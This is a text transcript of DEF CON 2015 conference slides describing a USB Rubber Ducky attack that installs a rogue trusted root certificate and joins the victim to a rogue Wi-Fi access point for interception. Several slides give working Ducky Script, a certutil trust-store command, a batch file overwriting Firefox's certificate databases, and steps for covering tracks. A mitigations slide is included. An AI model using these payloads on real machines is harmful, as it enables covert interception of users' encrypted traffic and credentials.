Top Banner
USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough
48

USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Mar 14, 2020

Download

Documents

dariahiddleston
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

USB Attack to Decrypt Wi-Fi CommunicationsPresented by: Jeremy Dorrough

Page 2: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Disclaimer

Opinions expressed in this presentation aremy own. I am speaking for myself, notGenworth, nor anyone else.

Image Source: iwishisaidthat.com

Page 3: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

About Me

• 10+ years in IT Security industry

• Worked in defense, utility & financial sectors

• Currently a Network Security Engineer at Genworth

• I crash cars for fun

Page 4: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Presentation Outline

9 USB Rubber Ducky9 How the Attack Works9 Keyboard Payload9 Mass Storage/Keyboard Payload9 Demo9 Questions

Page 5: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

USB Rubber Ducky

Image Source: http://hakshop.myshopify.com/

Page 6: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Firmware Options

• Duck– Keyboard Input

• FAT Duck– Mass Storage Device

• Detour Duck– Multiple Payloads

• Twin Duck– Both Keyboard and Mass Storage Device

Page 7: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed
Page 8: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Teensy

Page 9: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

https://github.com/adamcaudill/Psychson

Page 10: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

How The Attack Works

Page 11: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

How The Attack Works

Page 12: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

How The Attack Works

Page 13: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Social Engineer???DHS Study Performed by idappcom:• 60% Plugged in dropped USB device• 90% Plugged in USB device if case had an official logo

http://www.bloomberg.com/news/articles/2011-06-27/human-errors-fuel-hacking-as-test-shows-nothing-prevents-idiocy

Page 14: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Image Source: www.qualitylogoproducts.com

Page 15: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

The Cat and Mouse Game

• Anti-Virus•Web filters/Proxy • FTP whitelist •HTTP Strict Transport Security (HSTS)

Page 16: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Setup Rogue AP

•Hostapd • dnsmasq • Iptables • Alternatively use mana-toolkit

Page 17: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Setup MITM Listener

• Configure a proxy of your choice• Burpsuite, Squid, SSLStrip, Mallory, etc. • Export the certificate• Convert the certificate to base64 encoding

-----BEGIN CERTIFICATE-----MIICxDCCAi2gAwIBAgIEVOdW+zANBgkqhkiG9w0BAQUFADCBijEUMBIGA1UEBhMLUG9ydFN3aWdnZXIxFDASBgNVBAgTC1BvcnRTd2lnZ2VyMRQwEgYDVQQHEwtQb3J0U3dpZ2dlcjEUMBIGA1( )gQWBBTSJrL4vz7JJPJ67CNmrwAnfuTs0zANBgkqhkiG9w0BAQUFAAOBgQCBMulw4WP++I76bfvXQ4RAgNo0DYiasfw4SniawhnfpDE4spV1vjzfIbQQVcetDdnCvSB6YVE0Rv3HQbTZE5r170dOvl4o6Yr3wgFF9sUUqQq+M/Z4wRgg8OJPgC8PXCmkelAO166m4w7h3DlnQj1cGNdQr5AmMksvEmDvioTz0A==-----END CERTIFICATE-----

Page 18: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Burpsuite Proxy Settings

Page 19: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Payload Summary

1. Bypass UAC and open CMD.exe2. Create a new .cer file from keyboard input3. Add cert.cer to trusted root using certutil4. Create a wireless profile5. Connect to wireless profile6. Clean up

Page 20: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Ducky Script API

• DELAY [time in milliseconds ]• STRING [standard keyboard entry]• ENTER [Enter key]• GUI [Windows key]• REM [will not be processed]

github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript

Page 21: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Bypass UAC cmd.exe

DELAY 10000GUI rDELAY 200STRING powershell Start-Process cmd -Verb runAs

Code Used from Darren Kitchen’s UAC bypass

Image Source: technet.microsoft.com

Page 22: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Create Base64 Certificate

STRING copy con cert.cerENTERSTRING -----BEGIN CERTIFICATE-----ENTERSTRING MIICxDCCAi2gAwIBAgIEVOdW+zANBgkUMBIGA1UEBhMLENTERSTRING UG9ydFN3aWdnZXIxFDASBgNVBAgTC1BvcnRTd2EwtQb3J0(…)

Page 23: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

You Trust Me….Right?

STRING certutil -addstore -f -enterprise -user root cert.cer

Image Source: diariodigitalcolombiano.com

Page 24: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

…Now Tell Me Your Secrets

• Echo xml network profile to a file• Using xml file, create and connect to new

Wireless profile

Page 25: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Cover your tracks

• Delete xml file • Delete rouge certificate

Page 26: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

All Your Bank Are Belong To Us

Page 27: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Internet Explorer

Page 28: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Internet Explorer

Page 29: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Chrome

Page 30: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Chrome

Page 31: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Firefox

Page 32: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Firefox

Page 33: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Twin Duck Firmware

•Mounts both mass storage and HID keyboard

•Must reflash the USB Rubber Ducky• Only use if target allows mass storage

devices•Micro SD card not ideal for fast I/O

Page 34: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Create New Firefox Truststore

Page 35: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Create New Firefox Truststore

• Add Trusted CA to fresh build of Firefox • %APPDATA%\Mozilla\Firefox\Profiles\*.default• Keystore, key3.db• Truststore, cert8.db

Page 36: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Twin Duck Attack Summary

1. Bypass UAC and open CMD.exe2. Create script to identify storage mount3. Create vbs script to run batch file invisibly4. Run batch file

– Adds cert to Windows Trusted Root– Overwrites Firefox cert8.db and key3.db files– Creates wireless profile– Connects to wireless profile

Page 37: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Trusted-cert.bat

taskkill /IM Firefox.exe /Fcopy /Y %DUCKYdrive%\cert.cer %USERPROFILE%\cert.cercertutil -addstore -f -enterprise -user root cert.cerdel cert.cercd %APPDATA%\Mozilla\Firefox\Profiles\*.defaultcopy /Y cert8.db cert8.db.originalcopy /Y %DUCKYdrive%\cert8.db cert8.dbcopy /Y key3.db key3.db.originalcopy /Y %DUCKYdrive%\key3.db key3.db

Page 38: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

E:\DUCKY

Page 39: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Internet Explorer

Page 40: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Internet Explorer

Page 41: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Chrome

Page 42: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Chrome

Page 43: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Firefox

Page 44: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Firefox

Page 45: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Mitigating Controls

• Wireless Intrusion Prevention System (WIPS)• Disable mass storage devices• Disable USB ports• User training to encourage responsible USB

usage• Multifactor Authentication• Cloud Proxy Agent

Page 46: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Demonstration

Page 47: USB Attack to Decrypt Wi-Fi Communications Conf/Defcon/2015... · 2015-08-09 · USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough. Disclaimer Opinions expressed

Things to Consider

• Use proxy settings pointed to cloud listener

• Increasing the authenticity• Syntax changes for different OS•New payloads are frequently released on

HAK5 forums